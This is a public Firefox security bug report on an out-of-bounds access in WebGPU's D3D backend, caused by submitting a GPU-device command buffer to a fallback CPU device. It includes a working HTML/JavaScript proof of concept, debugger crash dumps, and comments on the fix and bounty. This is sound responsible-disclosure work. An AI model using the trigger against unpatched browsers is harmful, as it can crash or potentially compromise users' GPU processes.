WebGPU - Out Of Bound in execute_command_lists in D3D backend in GPU Process.
Categories
(Core :: Graphics: WebGPU, defect, P1)
Tracking
()
People
(Reporter: loobenyang, Assigned: nical)
References
Details
(Keywords: csectype-bounds, reporter-external, sec-high, Whiteboard: [fix landed in bug 1857243][reporter-external] [client-bounty-form] [verif?])
Attachments
(4 files)
VULNERABILITY DETAILS
Specifically crafted HTML file can trigger Out Of Bound memory access in execute_command_lists in D3D backend. This bug has the potential to be exploited to execute arbitrary code in the GPU process.
An adatper of device type gpu (wgpu_types::DeviceType IntegratedGpu or DiscreteGpu), then command encoder and command buffer can be created with this device by the following javascript code:
navigator.gpu.requestAdapter().then((adapter0)=>{
adapter0.requestDevice().then((device0)=>{
cmdEncoder0 = device0.createCommandEncoder();
gpuTexture0 = device0.createTexture({ size: {width:276,depthOrArrayLayers:0}, format:"bc3-rgba-unorm", usage: 4});
cmdBuffer0 = cmdEncoder0.finish();
});
});
By adding a "{forceFallbackAdapter:true}" parameter to JS function navigator.gpu.requestAdapter(), an adatper of device type cpu (wgpu_types::DeviceType Cpu) can be requested.
The following rust code in instance.rs would filter the gpu devices and retain the only adapter of type cpu:
pub fn request_adapter(...)
...
if force_software {
adapters.retain(|exposed| exposed.info.device_type == wgt::DeviceType::Cpu);
}
...
third_party/rust/wgpu-core/src/instance.rs
Then, the command buffer created previously with a gpu device can be submitted to the D3D command queue of the cpu device:
navigator.gpu.requestAdapter({forceFallbackAdapter:true}).then((adapter1)=>{
adapter1.requestDevice().then((device1)=>{
device1.queue.submit([cmdBuffer0]);
});
});
Somehow, the D3D dll does not check or handle this cross device submitting properly. The GPU process of Firefox crashes:
(5c08.514): Access violation - code c0000005 (!!! second chance !!!)
d3d10warp!UMCommandQueue::ExecuteCommandList+0x2e0:
00007ff9`fbd183f0 8b4708 mov eax,dword ptr [rdi+8] ds:000000d2`00000008=????????
On a local built Firefox debug build, sometime I got this exception in the same fucntion d3d10warp.dll!UMCommandQueue::ExecuteCommandList by running the same PoC test case:
Unhandled exception at 0x00007FF9FBD19717 (d3d10warp.dll) in firefox.exe: RangeChecks instrumentation code detected an out of range array access.
It seems a out of bound array access.
On some occasion with the same test case, I got the following exception instead:
Unhandled exception at 0x00007FFBD90A9717 (d3d10warp.dll) in firefox.exe: An out of range switch jumptable entry was invoked.
Looks like the bug can corrupt some structural data and change the course of code excecution. From this point of view, the bug may be possible to be exploited to execute arbitrary code in the GPU process.
VERSION
Firefox: 120.0a1 (2023-09-30) (64-bit)
OS: Windows 11 Home 22H2 (Build 22621.2283)
REPRODUCTION CASE (.)
<script>
navigator.gpu.requestAdapter().then((adapter0)=>{
adapter0.requestDevice().then((device0)=>{
cmdEncoder0 = device0.createCommandEncoder();
gpuTexture0 = device0.createTexture({ size: {width:276,depthOrArrayLayers:0}, format:"bc3-rgba-unorm", usage: 4});
cmdBuffer0 = cmdEncoder0.finish();
});
});
navigator.gpu.requestAdapter({forceFallbackAdapter:true}).then((adapter1)=>{
adapter1.requestDevice().then((device1)=>{
device1.queue.submit([cmdBuffer0]);
});
});
</script>
Type of crash: gpu process
Crash State:
(5c08.514): Access violation - code c0000005 (!!! second chance !!!)
d3d10warp!UMCommandQueue::ExecuteCommandList+0x2e0:
00007ff9`fbd183f0 8b4708 mov eax,dword ptr [rdi+8] ds:000000d2`00000008=????????
0:099> r
rax=00000000000001fd rbx=0000000000000000 rcx=000001fd54d29e00
rdx=0000000000000000 rsi=000001fd54d29ed0 rdi=000000d200000000
rip=00007ff9fbd183f0 rsp=000000d2b640bac0 rbp=000000d2b640bbc0
r8=00007ff9fbc40000 r9=0000000000000000 r10=0000000000000003
r11=000000d2b640b0d0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=000001fd54bddfa0
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010204
d3d10warp!UMCommandQueue::ExecuteCommandList+0x2e0:
00007ff9`fbd183f0 8b4708 mov eax,dword ptr [rdi+8] ds:000000d2`00000008=????????
0:099> dv
Unable to enumerate locals, Win32 error 0n87
Private symbols (symbols.pri) are required for locals.
Type ".hh dbgerr005" for details.
0:099> k
# Child-SP RetAddr Call Site
00 000000d2`b640bac0 00007ff9`fbd180db d3d10warp!UMCommandQueue::ExecuteCommandList+0x2e0
01 000000d2`b640bd60 00007ff9`c6cd5b81 d3d10warp!UMCommandQueue::ExecuteCommandLists+0x5b
02 000000d2`b640bd90 00007ff9`c6cd548c D3D12Core!CCommandQueue<0>::ExecuteCommandListsImpl+0x611
03 000000d2`b640be80 00007ff9`78ee1469 D3D12Core!CCommandQueue<0>::ExecuteCommandLists+0x3c
04 000000d2`b640bec0 00007ff9`78e41ac7 xul!d3d12::com::ComPtr<winapi::um::d3d12::ID3D12CommandQueue>::execute_command_lists+0x79 [/builds/worker/checkouts/gecko/third_party/rust/d3d12/src/queue.rs @ 25]
05 000000d2`b640bf20 00007ff9`788c721c xul!wgpu_hal::dx12::impl$42::submit+0xd7 [/builds/worker/checkouts/gecko/third_party/rust/wgpu-hal/src/dx12/mod.rs @ 843]
06 000000d2`b640bf90 00007ff9`78972429 xul!wgpu_core::global::Global<wgpu_bindings::identity::IdentityRecyclerFactory>::queue_submit<wgpu_bindings::identity::IdentityRecyclerFactory,wgpu_hal::dx12::Api>+0x8ec [/builds/worker/checkouts/gecko/third_party/rust/wgpu-core/src/device/queue.rs @ 1369]
07 000000d2`b640eb20 00007ff9`76d2cb8d xul!wgpu_bindings::server::wgpu_server_queue_submit+0x69 [/builds/worker/checkouts/gecko/gfx/wgpu_bindings/src/server.rs @ 923]
08 000000d2`b640ec50 00007ff9`76d2a703 xul!mozilla::webgpu::WebGPUParent::RecvQueueSubmit+0x8d [/builds/worker/checkouts/gecko/dom/webgpu/ipc/WebGPUParent.cpp @ 700]
09 000000d2`b640ef00 00007ff9`74183d9b xul!mozilla::webgpu::PWebGPUParent::OnMessageReceived+0x2e43 [/builds/worker/workspace/obj-build/ipc/ipdl/PWebGPUParent.cpp @ 1512]
0a 000000d2`b640f100 00007ff9`752d5dd9 xul!mozilla::gfx::PCanvasManagerParent::OnMessageReceived+0x1bb [/builds/worker/workspace/obj-build/ipc/ipdl/PCanvasManagerParent.cpp @ 269]
0b (Inline Function) --------`-------- xul!mozilla::ipc::MessageChannel::DispatchAsyncMessage+0x81 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1800]
0c (Inline Function) --------`-------- xul!mozilla::ipc::MessageChannel::DispatchMessage+0x365 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1725]
0d 000000d2`b640f1a0 00007ff9`73672100 xul!mozilla::ipc::MessageChannel::RunMessage+0x469 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1525]
0e 000000d2`b640f510 00007ff9`74faffa4 xul!mozilla::ipc::MessageChannel::MessageTask::Run+0x80 [/builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp @ 1632]
0f 000000d2`b640f560 00007ff9`74fae25f xul!nsThread::ProcessNextEvent+0x19c4 [/builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp @ 1193]
10 (Inline Function) --------`-------- xul!NS_ProcessNextEvent+0x29 [/builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp @ 480]
11 000000d2`b640fa30 00007ff9`73fa8d0f xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0x29f [/builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp @ 330]
12 (Inline Function) --------`-------- xul!MessageLoop::RunInternal+0x16 [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 370]
13 000000d2`b640fae0 00007ff9`73dcea1f xul!MessageLoop::RunHandler+0x2f [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 364]
14 (Inline Function) --------`-------- xul!MessageLoop::Run+0x43 [/builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc @ 345]
15 000000d2`b640fb30 00007ff9`c6e342d5 xul!nsThread::ThreadFunc+0x19f [/builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp @ 370]
16 000000d2`b640fd10 00007ff9`c6eb8ee1 nss3!_PR_NativeRunThread+0x145 [/builds/worker/checkouts/gecko/nsprpub/pr/src/threads/combined/pruthr.c @ 421]
17 000000d2`b640fd90 00007ffa`04629363 nss3!pr_root+0x11 [/builds/worker/checkouts/gecko/nsprpub/pr/src/md/windows/w95thred.c @ 140]
18 000000d2`b640fdc0 00007ffa`057d257d ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x93
19 000000d2`b640fdf0 00007ff9`ea54bce8 KERNEL32!BaseThreadInitThunk+0x1d
1a (Inline Function) --------`-------- mozglue!mozilla::interceptor::FuncHook<mozilla::interceptor::WindowsDllInterceptor<mozilla::interceptor::VMSharingPolicyShared>,void (*)(int, void *, void *)>::operator()+0x15 [/builds/worker/checkouts/gecko/toolkit/xre/dllservices/mozglue/nsWindowsDllInterceptor.h @ 150]
1b 000000d2`b640fe20 00007ffa`069eaa68 mozglue!patched_BaseThreadInitThunk+0x28 [/builds/worker/checkouts/gecko/toolkit/xre/dllservices/mozglue/WindowsDllBlocklist.cpp @ 561]
1c 000000d2`b640fe90 00000000`00000000 ntdll!RtlUserThreadStart+0x28
CREDIT INFORMATION
Reporter credit: Looben Yang
Updated•1 year ago
|
Updated•1 year ago
|
Comment 1•1 year ago
|
||
Nicolas, is this the same issue you were concerned about in bug 1855916? It looks like it is a demonstration of a real security hazard.
Updated•1 year ago
|
Updated•1 year ago
|
Assignee | ||
Comment 2•1 year ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #1)
Nicolas, is this the same issue you were concerned about in bug 1855916? It looks like it is a demonstration of a real security hazard.
Indeed.
Thankfully the fix already landed upstream so we'll get it in firefox shortly.
Assignee | ||
Comment 3•1 year ago
•
|
||
I'm in the process of updating our wgpu revision to the one with the fix.
Assignee | ||
Comment 4•1 year ago
|
||
The update is happening in bug 1857243.
Comment 5•1 year ago
|
||
Comment 6•1 year ago
|
||
Could you attach the output from about:support
on the machine on which this was reproduced?
Comment 7•1 year ago
|
||
We're having difficulty reproducing this because WebGPU actually won't give us two different devices, on the machines we happen to be using. We're looking into why our machine won't present both the GPU and Warp adapters.
Reporter | ||
Comment 8•1 year ago
•
|
||
(In reply to Jim Blandy :jimb from comment #6)
Could you attach the output from
about:support
on the machine on which this was reproduced?
Sure. I reproduced it easily on two different PCs, one with Windows 11 home, one with Windows 11 Enterprise. One crash stack on the win 11 machine:
119.0a1 (2023-10-01) (64-bit)
Windows 11 Enterprise 22H2 build 22621.2283
Unhandled exception at 0x00007FFBD90A9717 (d3d10warp.dll) in firefox.exe: An out of range switch jumptable entry was invoked.
00007FFBD90A96FC xor byte ptr [rsi+4900h],cl
00007FFBD90A9702 mov r15,qword ptr [rsp+60h]
00007FFBD90A9707 movzx r12d,byte ptr [rsp+51h]
00007FFBD90A970D jmp UMCommandQueue::ExecuteCommandList+5B9h (07FFBD90A86C9h)
00007FFBD90A9712 mov ecx,25h
00007FFBD90A9717 int 29h
ECX 00000025
R12D 00000000
RSP 00000076DD83B840
d3d10warp.dll!UMCommandQueue::ExecuteCommandList(struct UMCommand const *,struct D3D12DDI_HCOMMANDLIST,class UMCommandList *) Unknown
d3d10warp.dll!UMCommandQueue::ExecuteCommandLists(struct D3D12DDI_HCOMMANDQUEUE,unsigned int,struct D3D12DDI_HCOMMANDLIST const *) Unknown
D3D12Core.dll!CCommandQueue<0>::ExecuteCommandListsImpl(unsigned int,struct ID3D12CommandList * const *) Unknown
D3D12Core.dll!CCommandQueue<0>::ExecuteCommandLists(unsigned int,struct ID3D12CommandList * const *) Unknown
d3d12SDKLayers.dll!NDebug::CCommandQueue::ExecuteCommandListsImpl(class NDebug::CInterfaceSentinel::CFunctionSentinel &,unsigned int,struct ID3D12CommandList * const *,class NDebug::CCastableCommandList<struct ID3D12CommandList> * const *) Unknown
d3d12SDKLayers.dll!NDebug::CCommandQueue::ExecuteCommandLists(unsigned int,struct ID3D12CommandList * const ) Unknown
xul.dll!d3d12::com::ComPtr<winapi::um::d3d12::ID3D12CommandQueue>::execute_command_lists(ref$<slice2$<d3d12::com::ComPtr<winapi::um::d3d12::ID3D12CommandList>>> self) Line 27 Rust
xul.dll!wgpu_hal::dx12::impl$42::submit(wgpu_hal::dx12::Queue * self, ref$<slice2$<ref$<wgpu_hal::dx12::CommandBuffer>>>) Line 835 Rust
xul.dll!wgpu_core::global::Global<wgpu_bindings::identity::IdentityRecyclerFactory>::queue_submit<wgpu_bindings::identity::IdentityRecyclerFactory,wgpu_hal::dx12::Api>(wgpu_core::id::Id<wgpu_core::device::resource::Device<wgpu_hal::empty::Api>> self, ref$<slice2$<wgpu_core::id::Id<wgpu_core::command::CommandBuffer<wgpu_hal::empty::Api>>>> queue_id) Line 1369 Rust
xul.dll!wgpu_bindings::server::wgpu_server_queue_submit(wgpu_bindings::server::Global * global, wgpu_core::id::Id<wgpu_core::device::resource::Device<wgpu_hal::empty::Api>> self_id, wgpu_core::id::Id<wgpu_core::command::CommandBuffer<wgpu_hal::empty::Api>> * command_buffer_ids, unsigned __int64 command_buffer_id_length, wgpu_bindings::error::ErrorBuffer error_buf) Line 790 Rust
xul.dll!mozilla::webgpu::WebGPUParent::RecvQueueSubmit(unsigned int64 aQueueId, unsigned int64 aDeviceId, const nsTArray<unsigned long long> & aCommandBuffers) Line 662 C++
xul.dll!mozilla::webgpu::PWebGPUParent::OnMessageReceived(const IPC::Message & msg) Line 1512 C++
xul.dll!mozilla::gfx::PCanvasManagerParent::OnMessageReceived(const IPC::Message & msg) Line 214 C++
xul.dll!mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy * aProxy, const IPC::Message & aMsg) Line 1800 C++
xul.dll!mozilla::ipc::MessageChannel::DispatchMessage(mozilla::ipc::ActorLifecycleProxy * aProxy, mozilla::UniquePtr<IPC::Message,mozilla::DefaultDelete<IPC::Message>> aMsg) Line 1725 C++
xul.dll!mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::ActorLifecycleProxy * aProxy, mozilla::ipc::MessageChannel::MessageTask & aTask) Line 1525 C++
xul.dll!mozilla::ipc::MessageChannel::MessageTask::Run() Line 1632 C++
xul.dll!nsThread::ProcessNextEvent(bool aMayWait, bool * aResult) Line 1194 C++
xul.dll!NS_ProcessNextEvent(nsIThread * aThread, bool aMayWait) Line 480 C++
xul.dll!mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate * aDelegate) Line 330 C++
xul.dll!MessageLoop::RunHandler() Line 364 C++
xul.dll!MessageLoop::Run() Line 346 C++
xul.dll!nsThread::ThreadFunc(void * aArg) Line 393 C++
nss3.dll!_PR_NativeRunThread(void * arg) Line 408 C
nss3.dll!pr_root(void * arg) Line 140 C
[External Code]
[Inline Frame] mozglue.dll!mozilla::interceptor::FuncHook<mozilla::interceptor::WindowsDllInterceptor<mozilla::interceptor::VMSharingPolicyShared>,void ()(int, void *, void *)>::operator()(int & aArgs, void * & aArgs, void * & aArgs) Line 150 C++
mozglue.dll!patched_BaseThreadInitThunk(int aIsInitialThread, void * aStartAddress, void * aThreadParam) Line 561 C++
[External Code]
Reporter | ||
Comment 9•1 year ago
|
||
Reporter | ||
Comment 10•1 year ago
|
||
Reporter | ||
Updated•1 year ago
|
Comment 11•1 year ago
|
||
re: comment 7: we've been able to reproduce this locally. Thanks to a recent Windows image update in CI, our fuzzers were able to find this.
We brought in a wgpu-core fix for this in bug 1857243, which has landed, so I think this can be closed.
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 12•1 year ago
|
||
Thanks for reporting this, Looben. We are awarding a partial bounty for this because the underlying flaw was already known (https://github.com/gfx-rs/wgpu/issues/3927), but we only suspected it could lead to security problems but weren't sure how severe. Your report demonstrated that a sec-high bug was indeed achievable.
Updated•1 year ago
|
Updated•1 year ago
|
Comment 13•1 year ago
|
||
I've reproduced this crash on an affected Nightly asan build (2023-10-04) using Win 11 x64.
The crash is not repro anymore on Beta 120.0b9 asan build, under Win 11 x64.
Comment 14•10 months ago
|
||
Bulk-unhiding security bugs fixed in Firefox 119-121 (Fall 2023). Use "moo-doctrine-subsidy" to filter
Updated•9 months ago
|
Description
•